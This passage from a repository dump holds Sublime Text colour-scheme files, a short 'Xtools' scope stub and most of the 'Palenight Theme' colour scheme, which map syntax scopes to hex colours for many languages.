    "content": "// Documentation at https://www.sublimetext.com/docs/color_schemes.html\n{\n\t\"variables\":\n\t{\n\t},\n\t\"globals\":\n\t{\n\t},\n\t\"rules\":\n\t[\n\t\t{\n            \"name\": \"Xtools Red\",\n            \"scope\": \"xtools.red\",\n            \"foreground\": \"var(red)\"\n        },\n        {\n            \"name\": \"Xtools Blue\",\n            \"scope\": \"xtools.blue\",\n            \"foreground\": \"var(blue)\"\n        },\n        {\n            \"name\": \"Xtools Peach\",\n            \"scope\": \"xtools.peach\",\n            \"foreground\": \"var(orange)\"\n        },\n        {\n            \"name\": \"Xtools Mauve\",\n            \"scope\": \"xtools.mauve\",\n            \"foreground\": \"var(yellow)\"\n        },\n        {\n            \"name\": \"Xtools Green\",\n            \"scope\": \"xtools.green\",\n            \"foreground\": \"var(yellow2)\"\n        },\n        {\n            \"name\": \"Xtools Sky\",\n            \"scope\": \"xtools.sky\",\n            \"foreground\": \"var(purple)\"\n        },\n        {\n            \"name\": \"Xtools Comment\",\n            \"scope\": \"xtools.comment\",\n            \"foreground\": \"var(yellow5)\"\n        },\n\t]\n}\n"
  },
  {
    "path": "themes/Palenight Theme.sublime-color-scheme",
    "content": "{\n  \"name\": \"Palenight Theme\",\n  \"author\": \"James Brooks (Based on Olaolu Olawuyi's VSCode Theme)\",\n  \"variables\": {\n    \"blue\": \"#82AAFF\",\n    \"green\": \"#C3E88D\",\n    \"red\": \"#F78C6C\",\n    \"yellow\": \"#ffcb6b\",\n    \"peach\": \"#f5a97f\",\n    \"overlay\": \"#697098\",\n    \"mauve\": \"#c792ea\",\n    \"sky\": \"#89DDFF\",\n\n  },\n  \"globals\": {\n    \"background\": \"#292D3E\",\n    \"foreground\": \"#BFC7D5\",\n    \"line_highlight\": \"#0003\",\n    \"misspelling\": \"#EF5350\",\n    \"fold_marker\": \"#ffffff\",\n    \"accent\": \"#ffffff\",\n    \"caret\":\"#7e57c2\",\n    \"gutter_foreground\": \"#4c5374\",\n    \"line_diff_added\": \"#99b76d23\",\n    \"line_diff_modified\": \"#e2c08de6\",\n    \"line_diff_deleted\": \"#ef535033\",\n    \"selection\": \"#3C435E\",\n    \"inactive_selection\": \"#929ac90d\",\n    \"inactive_selection_foreground\": \"#929ac9\",\n    \"highlight\": \"#2E3248\",\n    \"find_highlight\": \"#2E3248\",\n    \"find_highlight_foreground\": \"#ffffff\",\n    \"guide\": \"#4E557980\",\n    \"active_guide\": \"#eeffff\",\n    \"stack_guide\": \"#6c739a\",\n    \"brackets_foreground\": \"#3C435E\",\n    \"tags_foreground\": \"#3C435E\",\n    \"shadow\": \"#232635\"\n  },\n  \"rules\": [\n    {\n      \"name\": \"Global settings\",\n      \"foreground\": \"#bfc7d5\",\n      \"background\": \"#292D3E\",\n      \"font_style\": 0\n    },\n    {\n      \"name\": \"Comment\",\n      \"foreground\": \"var(overlay)\",\n      \"font_style\": \"italic\",\n      \"scope\": \"comment\"\n    },\n    {\n      \"name\": \"String\",\n      \"foreground\": \"var(green)\",\n      \"font_style\": \"\",\n      \"scope\": \"string\"\n    },\n    {\n      \"name\": \"String Quoted\",\n      \"foreground\": \"#C3E88D\",\n      \"font_style\": 0,\n      \"scope\": \"string.quoted\"\n    },\n    {\n      \"name\": \"String Unquoted\",\n      \"foreground\": \"#bfc7d5\",\n      \"font_style\": 0,\n      \"scope\": \"string.unquoted\"\n    },\n    {\n      \"name\": \"Support Constant Math\",\n      \"foreground\": \"#ffcb6b\",\n      \"font_style\": 0,\n      \"scope\": \"support.constant.math\"\n    },\n    {\n      \"name\": \"Number\",\n      \"foreground\": \"var(red)\",\n      \"font_style\": 0,\n      \"scope\": \"constant.numeric, constant.character.numeric\"\n    },\n    {\n      \"name\": \"Built-in constant\",\n      \"foreground\": \"#82AAFF\",\n      \"font_style\": 0,\n      \"scope\": \"constant.language, punctuation.definition.constant, variable.other.constant\"\n    },\n    {\n      \"name\": \"User-defined constant\",\n      \"foreground\": \"#82AAFF\",\n      \"font_style\": 0,\n      \"scope\": \"constant.character, constant.other\"\n    },\n    {\n      \"name\": \"Constant Character Escape\",\n      \"foreground\": \"#F78C6C\",\n      \"font_style\": 0,\n      \"scope\": \"constant.character.escape\"\n    },\n    {\n      \"name\": \"RegExp String\",\n      \"foreground\": \"#80CBC4\",\n      \"font_style\": 0,\n      \"scope\": \"string.regexp, string.regexp keyword.other\"\n    },\n    {\n      \"name\": \"Comma in functions\",\n      \"foreground\": \"#eeffff\",\n      \"font_style\": 0,\n      \"scope\": \"meta.function punctuation.separator.comma\"\n    },\n    {\n      \"name\": \"Variable\",\n      \"foreground\": \"var(yellow)\",\n      \"font_style\": 0,\n      \"scope\": \"variable\"\n    },\n    {\n      \"name\": \"Keyword\",\n      \"foreground\": \"#c792ea\",\n      \"font_style\": 0,\n      \"scope\": \"punctuation.accessor, keyword\"\n    },\n    {\n      \"name\": \"Storage\",\n      \"foreground\": \"#c792ea\",\n      \"font_style\": 0,\n      \"scope\": \"storage, storage.type, meta.var.expr storage.type, storage.type.property.js, storage.type.property.ts, storage.type.property.tsx, meta.class meta.method.declaration meta.var.expr storage.type.js\"\n    },\n    {\n      \"name\": \"Class name\",\n      \"foreground\": \"#ffcb6b\",\n      \"font_style\": 0,\n      \"scope\": \"entity.name.class, meta.class entity.name.type.class\"\n    },\n    {\n      \"name\": \"Inherited class\",\n      \"foreground\": \"#a9c77d\",\n      \"font_style\": 0,\n      \"scope\": \"entity.other.inherited-class\"\n    },\n    {\n      \"name\": \"Function name\",\n      \"foreground\": \"var(blue)\",\n      \"font_style\": 0,\n      \"scope\": \"entity.name.function\"\n    },\n    {\n      \"name\": \"Function Parameters\",\n      \"foreground\": \"#7986E7\",\n      \"font_style\": 0,\n      \"scope\": \"variable.parameter\"\n    },\n    {\n      \"name\": \"Meta Tag\",\n      \"foreground\": \"#89DDFF\",\n      \"font_style\": 0,\n      \"scope\": \"punctuation.definition.tag, meta.tag\"\n    },\n    {\n      \"name\": \"HTML Tag names\",\n      \"foreground\": \"#ff5572\",\n      \"font_style\": 0,\n      \"scope\": \"entity.name.tag support.class.component, meta.tag.other.html, meta.tag.other.js, meta.tag.other.tsx, entity.name.tag.tsx, entity.name.tag.js, entity.name.tag, meta.tag.js, meta.tag.tsx, meta.tag.html\"\n    },\n    {\n      \"name\": \"Tag attribute\",\n      \"foreground\": \"#ffcb6b\",\n      \"font_style\": 0,\n      \"scope\": \"entity.other.attribute-name\"\n    },\n    {\n      \"name\": \"Entity Name Tag Custom\",\n      \"foreground\": \"#ffcb6b\",\n      \"font_style\": 0,\n      \"scope\": \"entity.name.tag.custom\"\n    },\n    {\n      \"name\": \"Library (function & constant)\",\n      \"foreground\": \"#82AAFF\",\n      \"font_style\": 0,\n      \"scope\": \"support.function, support.constant\"\n    },\n    {\n      \"name\": \"Support Constant Property Value meta\",\n      \"foreground\": \"#89DDFF\",\n      \"font_style\": 0,\n      \"scope\": \"support.constant.meta.property-value\"\n    },\n    {\n      \"name\": \"Library class/type\",\n      \"foreground\": \"#ffcb6b\",\n      \"font_style\": 0,\n      \"scope\": \"support.type, support.class\"\n    },\n    {\n      \"name\": \"Support Variable DOM\",\n      \"foreground\": \"#ffcb6b\",\n      \"font_style\": 0,\n      \"scope\": \"support.variable.dom\"\n    },\n    {\n      \"name\": \"Invalid\",\n      \"foreground\": \"#ffffff\",\n      \"background\": \"#ff2c83\",\n      \"font_style\": 0,\n      \"scope\": \"invalid\"\n    },\n    {\n      \"name\": \"Invalid deprecated\",\n      \"foreground\": \"#ffffff\",\n      \"background\": \"#d3423e\",\n      \"font_style\": 0,\n      \"scope\": \"invalid.deprecated\"\n    },\n    {\n      \"name\": \"Keyword Operator\",\n      \"foreground\": \"#89DDFF\",\n      \"font_style\": 0,\n      \"scope\": \"keyword.operator\"\n    },\n    {\n      \"name\": \"Keyword Operator Relational\",\n      \"foreground\": \"#c792ea\",\n      \"font_style\": 0,\n      \"scope\": \"keyword.operator.relational\"\n    },\n    {\n      \"name\": \"Keyword Operator Assignment\",\n      \"foreground\": \"#c792ea\",\n      \"font_style\": 0,\n      \"scope\": \"keyword.operator.assignment\"\n    },\n    {\n      \"name\": \"Double-Slashed Comment\",\n      \"foreground\": \"#697098\",\n      \"font_style\": 0,\n      \"scope\": \"comment.line.double-slash\"\n    },\n    {\n      \"name\": \"Object\",\n      \"foreground\": \"#cdebf7\",\n      \"font_style\": 0,\n      \"scope\": \"object\"\n    },\n    {\n      \"name\": \"Null\",\n      \"foreground\": \"#ff5874\",\n      \"font_style\": 0,\n      \"scope\": \"constant.language.null\"\n    },\n    {\n      \"name\": \"Meta Brace\",\n      \"foreground\": \"#bfc7d5\",\n      \"font_style\": 0,\n      \"scope\": \"meta.brace\"\n    },\n    {\n      \"name\": \"Meta Delimiter Period\",\n      \"foreground\": \"#c792ea\",\n      \"font_style\": 0,\n      \"scope\": \"meta.delimiter.period\"\n    },\n    {\n      \"name\": \"Punctuation Definition String\",\n      \"foreground\": \"#d9f5dd\",\n      \"font_style\": 0,\n      \"scope\": \"punctuation.definition.string\"\n    },\n    {\n      \"name\": \"Boolean\",\n      \"foreground\": \"#ff5874\",\n      \"font_style\": 0,\n      \"scope\": \"constant.language.boolean\"\n    },\n    {\n      \"name\": \"Object Comma\",\n      \"foreground\": \"#ffffff\",\n      \"font_style\": 0,\n      \"scope\": \"object.comma\"\n    },\n    {\n      \"name\": \"Variable Parameter Function\",\n      \"foreground\": \"#89DDFF\",\n      \"font_style\": 0,\n      \"scope\": \"variable.parameter.function\"\n    },\n    {\n      \"name\": \"Support Type Property Name & entity name tags\",\n      \"foreground\": \"#80CBC4\",\n      \"font_style\": 0,\n      \"scope\": \"support.type.vendored.property-name, support.constant.vendored.property-value, support.type.property-name, meta.property-list entity.name.tag\"\n    },\n    {\n      \"name\": \"Entity Name tag reference in stylesheets\",\n      \"foreground\": \"#ff5572\",\n      \"font_style\": 0,\n      \"scope\": \"meta.property-list entity.name.tag.reference\"\n    },\n    {\n      \"name\": \"Constant Other Color RGB Value Punctuation Definition Constant\",\n      \"foreground\": \"#F78C6C\",\n      \"font_style\": 0,\n      \"scope\": \"constant.other.color.rgb-value punctuation.definition.constant\"\n    },\n    {\n      \"name\": \"Constant Other Color\",\n      \"foreground\": \"#FFEB95\",\n      \"font_style\": 0,\n      \"scope\": \"constant.other.color\"\n    },\n    {\n      \"name\": \"Keyword Other Unit\",\n      \"foreground\": \"#FFEB95\",\n      \"font_style\": 0,\n      \"scope\": \"keyword.other.unit\"\n    },\n    {\n      \"name\": \"Meta Selector\",\n      \"foreground\": \"#c792ea\",\n      \"font_style\": 0,\n      \"scope\": \"meta.selector\"\n    },\n    {\n      \"name\": \"Entity Other Attribute Name Id\",\n      \"foreground\": \"#FAD430\",\n      \"font_style\": 0,\n      \"scope\": \"entity.other.attribute-name.id\"\n    },\n    {\n      \"name\": \"Meta Property Name\",\n      \"foreground\": \"#80CBC4\",\n      \"font_style\": 0,\n      \"scope\": \"meta.property-name\"\n    },\n    {\n      \"name\": \"Doctypes\",\n      \"foreground\": \"#c792ea\",\n      \"font_style\": \"italic\",\n      \"scope\": \"entity.name.tag.doctype, meta.tag.sgml.doctype\"\n    },\n    {\n      \"name\": \"Punctuation Definition Parameters\",\n      \"foreground\": \"#d9f5dd\",\n      \"font_style\": 0,\n      \"scope\": \"punctuation.definition.parameters\"\n    },\n    {\n      \"name\": \"Keyword Control Operator\",\n      \"foreground\": \"#89DDFF\",\n      \"font_style\": 0,\n      \"scope\": \"keyword.control.operator\"\n    },\n    {\n      \"name\": \"Keyword Operator Logical\",\n      \"foreground\": \"#c792ea\",\n      \"font_style\": 0,\n      \"scope\": \"keyword.operator.logical\"\n    },\n    {\n      \"name\": \"Variable Instances\",\n      \"foreground\": \"#ff5572\",\n      \"font_style\": 0,\n      \"scope\": \"variable.instance, variable.other.instance, variable.reaedwrite.instance, variable.other.readwrite.instance\"\n    },\n    {\n      \"name\": \"Variable Property Other\",\n      \"foreground\": \"#89DDFF\",\n      \"font_style\": 0,\n      \"scope\": \"variable.other.property, variable.other.object.property\"\n    },\n    {\n      \"name\": \"Entity Name Function\",\n      \"foreground\": \"#82AAFF\",\n      \"font_style\": 0,\n      \"scope\": \"entity.name.function\"\n    },\n    {\n      \"name\": \"Keyword Operator Comparison\",\n      \"foreground\": \"#c792ea\",\n      \"font_style\": 0,\n      \"scope\": \"keyword.operator.comparison\"\n    },\n    {\n      \"name\": \"Support Constant, `new` keyword, Special Method Keyword\",\n      \"foreground\": \"#89DDFF\",\n      \"font_style\": 0,\n      \"scope\": \"support.constant, keyword.other.special-method, keyword.other.new\"\n    },\n    {\n      \"name\": \"Support Function\",\n      \"foreground\": \"var(sky)\",\n      \"font_style\": 0,\n      \"scope\": \"support.function\"\n    },\n    {\n      \"name\": \"Invalid Broken\",\n      \"foreground\": \"#020e14\",\n      \"background\": \"#F78C6C\",\n      \"font_style\": 0,\n      \"scope\": \"invalid.broken\"\n    },\n    {\n      \"name\": \"Invalid Unimplemented\",\n      \"foreground\": \"#ffffff\",\n      \"background\": \"#8BD649\",\n      \"font_style\": 0,\n      \"scope\": \"invalid.unimplemented\"\n    },\n    {\n      \"name\": \"Invalid Illegal\",\n      \"foreground\": \"#ffffff\",\n      \"background\": \"#ec5f67\",\n      \"font_style\": 0,\n      \"scope\": \"invalid.illegal\"\n    },\n    {\n      \"name\": \"Language Variable\",\n      \"foreground\": \"#ff5572\",\n      \"font_style\": 0,\n      \"scope\": \"variable.language\"\n    },\n    {\n      \"name\": \"Support Variable Property\",\n      \"foreground\": \"#89DDFF\",\n      \"font_style\": 0,\n      \"scope\": \"support.variable.property\"\n    },\n    {\n      \"name\": \"Variable Function\",\n      \"foreground\": \"#82AAFF\",\n      \"font_style\": 0,\n      \"scope\": \"variable.function\"\n    },\n    {\n      \"name\": \"Variable Interpolation\",\n      \"foreground\": \"#ec5f67\",\n      \"font_style\": 0,\n      \"scope\": \"variable.interpolation\"\n    },\n    {\n      \"name\": \"Meta Function Call\",\n      \"foreground\": \"#82AAFF\",\n      \"font_style\": 0,\n      \"scope\": \"meta.function-call\"\n    },\n    {\n      \"name\": \"Punctuation Section Embedded\",\n      \"foreground\": \"#d3423e\",\n      \"font_style\": 0,\n      \"scope\": \"punctuation.section.embedded\"\n    },\n    {\n      \"name\": \"Punctuation Tweaks\",\n      \"foreground\": \"#bfc7d5\",\n      \"font_style\": 0,\n      \"scope\": \"punctuation.terminator.expression, punctuation.definition.arguments, punctuation.definition.array, punctuation.section.array, meta.array\"\n    },\n    {\n      \"name\": \"More Punctuation Tweaks\",\n      \"foreground\": \"#d9f5dd\",\n      \"font_style\": 0,\n      \"scope\": \"punctuation.definition.list.begin, punctuation.definition.list.end, punctuation.separator.arguments, punctuation.definition.list\"\n    },\n    {\n      \"name\": \"Template Strings\",\n      \"foreground\": \"#d3423e\",\n      \"font_style\": 0,\n      \"scope\": \"string.template meta.template.expression\"\n    },\n    {\n      \"name\": \"Backtics(``) in Template Strings\",\n      \"foreground\": \"#bfc7d5\",\n      \"font_style\": 0,\n      \"scope\": \"string.template punctuation.definition.string\"\n    },\n    {\n      \"name\": \"Italics\",\n      \"foreground\": \"#c792ea\",\n      \"font_style\": \"italic\",\n      \"scope\": \"italic\"\n    },\n    {\n      \"name\": \"Bold\",\n      \"foreground\": \"#ffcb6b\",\n      \"font_style\": \"bold\",\n      \"scope\": \"bold\"\n    },\n    {\n      \"name\": \"Quote\",\n      \"foreground\": \"#697098\",\n      \"font_style\": \"italic\",\n      \"scope\": \"quote\"\n    },\n    {\n      \"name\": \"Raw Code\",\n      \"foreground\": \"#80CBC4\",\n      \"font_style\": 0,\n      \"scope\": \"raw\"\n    },\n    {\n      \"name\": \"CoffeScript Variable Assignment\",\n      \"foreground\": \"#89DDFF\",\n      \"font_style\": 0,\n      \"scope\": \"variable.assignment.coffee\"\n    },\n    {\n      \"name\": \"CoffeScript Parameter Function\",\n      \"foreground\": \"#bfc7d5\",\n      \"font_style\": 0,\n      \"scope\": \"variable.parameter.function.coffee\"\n    },\n    {\n      \"name\": \"CoffeeScript Assignments\",\n      \"foreground\": \"#89DDFF\",\n      \"font_style\": 0,\n      \"scope\": \"variable.assignment.coffee\"\n    },\n    {\n      \"name\": \"C# Readwrite Variables\",\n      \"foreground\": \"#bfc7d5\",\n      \"font_style\": 0,\n      \"scope\": \"variable.other.readwrite.cs\"\n    },\n    {\n      \"name\": \"C# Classes & Storage types\",\n      \"foreground\": \"#82AAFF\",\n      \"font_style\": 0,\n      \"scope\": \"entity.name.type.class.cs, storage.type.cs\"\n    },\n    {\n      \"name\": \"C# Namespaces\",\n      \"foreground\": \"#B2CCD6\",\n      \"font_style\": 0,\n      \"scope\": \"entity.name.type.namespace.cs\"\n    },\n    {\n      \"name\": \"Tag names in Stylesheets\",\n      \"foreground\": \"#ff5572\",\n      \"font_style\": 0,\n      \"scope\": \"entity.name.tag.css, entity.name.tag.less, entity.name.tag.custom.css\"\n    },\n    {\n      \"name\": \"Wildcard(*) selector in Stylesheets\",\n      \"foreground\": \"#ff5572\",\n      \"font_style\": 0,\n      \"scope\": \"entity.name.tag.wildcard.css, entity.name.tag.wildcard.less, entity.name.tag.wildcard.scss, entity.name.tag.wildcard.sass\"\n    },\n    {\n      \"name\": \"(C|SC|SA|LE)SS property value unit\",\n      \"foreground\": \"#FFEB95\",\n      \"font_style\": 0,\n      \"scope\": \"keyword.other.unit.css, constant.length.units.css, keyword.other.unit.less, constant.length.units.less, keyword.other.unit.scss, constant.length.units.scss, keyword.other.unit.sass, constant.length.units.sass\"\n    },\n    {\n      \"name\": \"Attribute Name for CSS\",\n      \"foreground\": \"#F78C6C\",\n      \"font_style\": 0,\n      \"scope\": \"meta.attribute-selector.css entity.other.attribute-name.attribute\"\n    },\n    {\n      \"name\": \"punctuations in styled components\",\n      \"foreground\": \"#bfc7d5\",\n      \"font_style\": 0,\n      \"scope\": \"source.js source.css meta.property-list, source.js source.css punctuation.section, source.js source.css punctuation.terminator.rule, source.js source.css punctuation.definition.entity.end.bracket, source.js source.css punctuation.definition.entity.begin.bracket, source.js source.css punctuation.separator.key-value, source.js source.css punctuation.definition.attribute-selector, source.js source.css meta.property-list, source.js source.css meta.property-list punctuation.separator.comma, source.ts source.css punctuation.section, source.ts source.css punctuation.terminator.rule, source.ts source.css punctuation.definition.entity.end.bracket, source.ts source.css punctuation.definition.entity.begin.bracket, source.ts source.css punctuation.separator.key-value, source.ts source.css punctuation.definition.attribute-selector, source.ts source.css meta.property-list, source.ts source.css meta.property-list punctuation.separator.comma\"\n    },\n    {\n      \"name\": \"Elixir Classes\",\n      \"foreground\": \"#82AAFF\",\n      \"font_style\": 0,\n      \"scope\": \"source.elixir support.type.elixir, source.elixir meta.module.elixir entity.name.class.elixir\"\n    },\n    {\n      \"name\": \"Elixir Functions\",\n      \"foreground\": \"#ffcb6b\",\n      \"font_style\": 0,\n      \"scope\": \"source.elixir entity.name.function\"\n    },\n    {\n      \"name\": \"Elixir Constants\",\n      \"foreground\": \"#82AAFF\",\n      \"font_style\": 0,\n      \"scope\": \"source.elixir constant.other.symbol.elixir, source.elixir constant.other.keywords.elixir\"\n    },\n    {\n      \"name\": \"Elixir String Punctuations\",\n      \"foreground\": \"#a9c77d\",\n      \"font_style\": 0,\n      \"scope\": \"source.elixir punctuation.definition.string\"\n    },\n    {\n      \"name\": \"Elixir\",\n      \"foreground\": \"#ffcb6b\",\n      \"font_style\": 0,\n      \"scope\": \"source.elixir variable.other.readwrite.module.elixir, source.elixir variable.other.readwrite.module.elixir punctuation.definition.variable.elixir\"\n    },\n    {\n      \"name\": \"Elixir Binary Punctuations\",\n      \"foreground\": \"#c792ea\",\n      \"font_style\": 0,\n      \"scope\": \"source.elixir .punctuation.binary.elixir\"\n    },\n    {\n      \"name\": \"Go Function Calls\",\n      \"foreground\": \"#DDDDDD\",\n      \"font_style\": 0,\n      \"scope\": \"source.go meta.function-call.go\"\n    },\n    {\n      \"name\": \"GraphQL Variables\",\n      \"foreground\": \"#bfc7d5\",\n      \"font_style\": 0,\n      \"scope\": \"variable.qraphql\"\n    },\n    {\n      \"name\": \"ID Attribute Name in HTML\",\n      \"foreground\": \"#ffcb6b\",\n      \"font_style\": 0,\n      \"scope\": \"entity.other.attribute-name.id.html\"\n    },\n    {\n      \"name\": \"HTML Punctuation Definition Tag\",\n      \"foreground\": \"#89DDFF\",\n      \"font_style\": 0,\n      \"scope\": \"punctuation.definition.tag.html\"\n    },\n    {\n      \"name\": \"HTML Doctype\",\n      \"foreground\": \"#c792ea\",\n      \"font_style\": \"italic\",\n      \"scope\": \"meta.tag.sgml.doctype.html\"\n    },\n    {\n      \"name\": \"JavaScript Classes\",\n      \"foreground\": \"#ffcb8b\",\n      \"font_style\": 0,\n      \"scope\": \"meta.class entity.name.type.class.js\"\n    },\n    {\n      \"name\": \"JavaScript Method Declaration e.g. `constructor`\",\n      \"foreground\": \"#82AAFF\",\n      \"font_style\": 0,\n      \"scope\": \"meta.method.declaration storage.type.js\"\n    },\n    {\n      \"name\": \"JavaScript Terminator\",\n      \"foreground\": \"#bfc7d5\",\n      \"font_style\": 0,\n      \"scope\": \"terminator.js\"\n    },\n    {\n      \"name\": \"JavaScript Meta Punctuation Definition\",\n      \"foreground\": \"#bfc7d5\",\n      \"font_style\": 0,\n      \"scope\": \"meta.js punctuation.definition.js\"\n    },\n    {\n      \"name\": \"Entity Names in Code Documentations\",\n      \"foreground\": \"#eeffff\",\n      \"font_style\": 0,\n      \"scope\": \"entity.name.type.instance.jsdoc, entity.name.type.instance.phpdoc\"\n    },\n    {\n      \"name\": \"Other Variables in Code Documentations\",\n      \"foreground\": \"#78ccf0\",\n      \"font_style\": 0,\n      \"scope\": \"variable.other.jsdoc, variable.other.phpdoc\"\n    },\n    {\n      \"name\": \"JavaScript module imports and exports\",\n      \"foreground\": \"#bfc7d5\",\n      \"font_style\": 0,\n      \"scope\": \"variable.other.meta.import.js, meta.import.js variable.other, variable.other.meta.export.js, meta.export.js variable.other\"\n    },\n    {\n      \"name\": \"JavaScript Variable Parameter Function\",\n      \"foreground\": \"#7986E7\",\n      \"font_style\": 0,\n      \"scope\": \"variable.parameter.function.js\"\n    },\n    {\n      \"name\": \"JavaScript Variable Other ReadWrite\",\n      \"foreground\": \"#bfc7d5\",\n      \"font_style\": 0,\n      \"scope\": \"variable.other.readwrite.js\"\n    },\n    {\n      \"name\": \"Text nested in React tags\",\n      \"foreground\": \"#bfc7d5\",\n      \"font_style\": 0,\n      \"scope\": \"meta.jsx.children, meta.jsx.children.js, meta.jsx.children.tsx\"\n    },\n    {\n      \"name\": \"JavaScript[React] Variable Other Object\",\n      \"foreground\": \"#bfc7d5\",\n      \"font_style\": 0,\n      \"scope\": \"variable.other.object.js, variable.other.object.jsx, meta.object-literal.key.js, meta.object-literal.key.jsx, variable.object.property.js, variable.object.property.jsx\"\n    },\n    {\n      \"name\": \"JavaScript Variables\",\n      \"foreground\": \"#bfc7d5\",\n      \"font_style\": 0,\n      \"scope\": \"variable.js, variable.other.js\"\n    },\n    {\n      \"name\": \"JavaScript Entity Name Type\",\n      \"foreground\": \"#ffcb8b\",\n      \"font_style\": 0,\n      \"scope\": \"entity.name.type.js, entity.name.type.module.js\"\n    },\n    {\n      \"name\": \"JavaScript Support Classes\",\n      \"foreground\": \"#bfc7d5\",\n      \"font_style\": 0,\n      \"scope\": \"support.class.js\"\n    },\n    {\n      \"name\": \"JSON Property Names\",\n      \"foreground\": \"#C3E88D\",\n      \"font_style\": 0,\n      \"scope\": \"support.type.property-name.json\"\n    },\n    {\n      \"name\": \"JSON Support Constants\",\n      \"foreground\": \"#ffcb6b\",\n      \"font_style\": 0,\n      \"scope\": \"support.constant.json\"\n    },\n    {\n      \"name\": \"JSON Property values (string)\",\n      \"foreground\": \"#80CBC4\",\n      \"font_style\": 0,\n      \"scope\": \"meta.structure.dictionary.value.json string.quoted.double\"\n    },\n    {\n      \"name\": \"Strings in JSON values\",\n      \"foreground\": \"#80CBC4\",\n      \"font_style\": 0,\n      \"scope\": \"string.quoted.double.json punctuation.definition.string.json\"\n    },\n    {\n      \"name\": \"Specific JSON Property values like null\",\n      \"foreground\": \"#ff5874\",\n      \"font_style\": 0,\n      \"scope\": \"meta.structure.dictionary.json meta.structure.dictionary.value constant.language\"\n    },\n    {\n      \"name\": \"Ruby Variables\",\n      \"foreground\": \"#bfc7d5\",\n      \"font_style\": 0,\n      \"scope\": \"variable.other.ruby\"\n    },\n    {\n      \"name\": \"Ruby Hashkeys\",\n      \"foreground\": \"#89DDFF\",\n      \"font_style\": 0,\n      \"scope\": \"constant.language.symbol.hashkey.ruby\"\n    },\n    {\n      \"name\": \"LESS Tag names\",\n      \"foreground\": \"#ff5572\",\n      \"font_style\": 0,\n      \"scope\": \"entity.name.tag.less\"\n    },\n    {\n      \"name\": \"Attribute Name for LESS\",\n      \"foreground\": \"#F78C6C\",\n      \"font_style\": 0,\n      \"scope\": \"meta.attribute-selector.less entity.other.attribute-name.attribute\"\n    },\n    {\n      \"name\": \"Markup Headings\",\n      \"foreground\": \"#82b1ff\",\n      \"font_style\": 0,\n      \"scope\": \"markup.heading\"\n    },\n    {\n      \"name\": \"Markup Italics\",\n      \"foreground\": \"#c792ea\",\n      \"font_style\": \"italic\",\n      \"scope\": \"markup.italic\"\n    },\n    {\n      \"name\": \"Markup Bold\",\n      \"foreground\": \"#ffcb6b\",\n      \"font_style\": \"bold\",\n      \"scope\": \"markup.bold\"\n    },\n    {\n      \"name\": \"Markup Quote + others\",\n      \"foreground\": \"#697098\",\n      \"font_style\": \"italic\",\n      \"scope\": \"markup.quote\"\n    },\n    {\n      \"name\": \"Markup Raw Code + others\",\n      \"foreground\": \"#80CBC4\",\n      \"font_style\": 0,\n      \"scope\": \"markup.inline.raw\"\n    },\n    {\n      \"name\": \"Markup Links\",\n      \"foreground\": \"#ff869a\",\n      \"font_style\": 0,\n      \"scope\": \"markup.underline.link, markup.underline.link.image\"\n    },\n    {\n      \"name\": \"Markup Attributes\",\n      \"foreground\": \"#a9c77d\",\n      \"font_style\": 0,\n      \"scope\": \"markup.meta.attribute-list\"\n    },\n    {\n      \"name\": \"Markup Admonitions\",\n      \"font_style\": \"bold\",\n      \"scope\": \"markup.admonition\"\n    },\n    {\n      \"name\": \"Markup Lists\",\n      \"foreground\": \"#D9F5DD\",\n      \"font_style\": 0,\n      \"scope\": \"markup.list.bullet\"\n    },\n    {\n      \"name\": \"Markup Superscript and Subscript\",\n      \"font_style\": \"italic\",\n      \"scope\": \"markup.superscript, markup.subscript\"\n    },\n    {\n      \"name\": \"Markdown Link Title and Description\",\n      \"foreground\": \"#bfc7d5\",\n      \"font_style\": 0,\n      \"scope\": \"string.other.link.title.markdown, string.other.link.description.markdown\"\n    },\n    {\n      \"name\": \"Markdown Punctuation\",\n      \"foreground\": \"#82b1ff\",\n      \"font_style\": 0,\n      \"scope\": \"punctuation.definition.string.markdown, punctuation.definition.string.begin.markdown, punctuation.definition.string.end.markdown, meta.link.inline.markdown punctuation.definition.string\"\n    },\n    {\n      \"name\": \"Markdown MetaData Punctuation\",\n      \"foreground\": \"#ff5572\",\n      \"font_style\": 0,\n      \"scope\": \"punctuation.definition.metadata.markdown\"\n    },\n    {\n      \"name\": \"Markdown List Punctuation\",\n      \"foreground\": \"#82b1ff\",\n      \"font_style\": 0,\n      \"scope\": \"beginning.punctuation.definition.list.markdown\"\n    },\n    {\n      \"name\": \"Asciidoc Function\",\n      \"foreground\": \"#F78C6C\",\n      \"font_style\": 0,\n      \"scope\": \"entity.name.function.asciidoc\"\n    },\n    {\n      \"name\": \"PHP Variables\",\n      \"foreground\": \"#bec5d4\",\n      \"font_style\": 0,\n      \"scope\": \"variable.other.php\"\n    },\n    {\n      \"name\": \"Support Classes in PHP\",\n      \"foreground\": \"#ffcb8b\",\n      \"font_style\": 0,\n      \"scope\": \"support.class.php\"\n    },\n    {\n      \"name\": \"Punctuations in PHP function calls\",\n      \"foreground\": \"#bfc7d5\",\n      \"font_style\": 0,\n      \"scope\": \"meta.function-call.php punctuation\"\n    },\n    {\n      \"name\": \"PHP Global Variables\",\n      \"foreground\": \"#ffcb6b\",\n      \"font_style\": 0,\n      \"scope\": \"variable.other.global.php\"\n    },\n    {\n      \"name\": \"Declaration Punctuation in PHP Global Variables\",\n      \"foreground\": \"#ffcb6b\",\n      \"font_style\": 0,\n      \"scope\": \"variable.other.global.php punctuation.definition.variable\"\n    },\n    {\n      \"name\": \"Language Constants in Python\",\n      \"foreground\": \"#ff5874\",\n      \"font_style\": 0,\n      \"scope\": \"constant.language.python\"\n    },\n    {\n      \"name\": \"Python Function Parameter and Arguments\",\n      \"foreground\": \"#7986E7\",\n      \"font_style\": 0,\n      \"scope\": \"variable.parameter.function.python, meta.function-call.arguments.python\"\n    },\n    {\n      \"name\": \"Python Function Call\",\n      \"foreground\": \"#B2CCD6\",\n      \"font_style\": 0,\n      \"scope\": \"meta.function-call.python, meta.function-call.generic.python\"\n    },\n    {\n      \"name\": \"Punctuations in Python\",\n      \"foreground\": \"#bfc7d5\",\n      \"font_style\": 0,\n      \"scope\": \"punctuation.python\"\n    },\n    {\n      \"name\": \"Decorator Functions in Python\",\n      \"foreground\": \"#ffcb6b\",\n      \"font_style\": 0,\n      \"scope\": \"entity.name.function.decorator.python\"\n    },\n    {\n      \"name\": \"Python Language Variable\",\n      \"foreground\": \"#8EACE3\",\n      \"font_style\": 0,\n      \"scope\": \"source.python variable.language.special\"\n    },\n    {\n      \"name\": \"SCSS Variable\",\n      \"foreground\": \"#DDDDDD\",\n      \"font_style\": 0,\n      \"scope\": \"variable.scss, 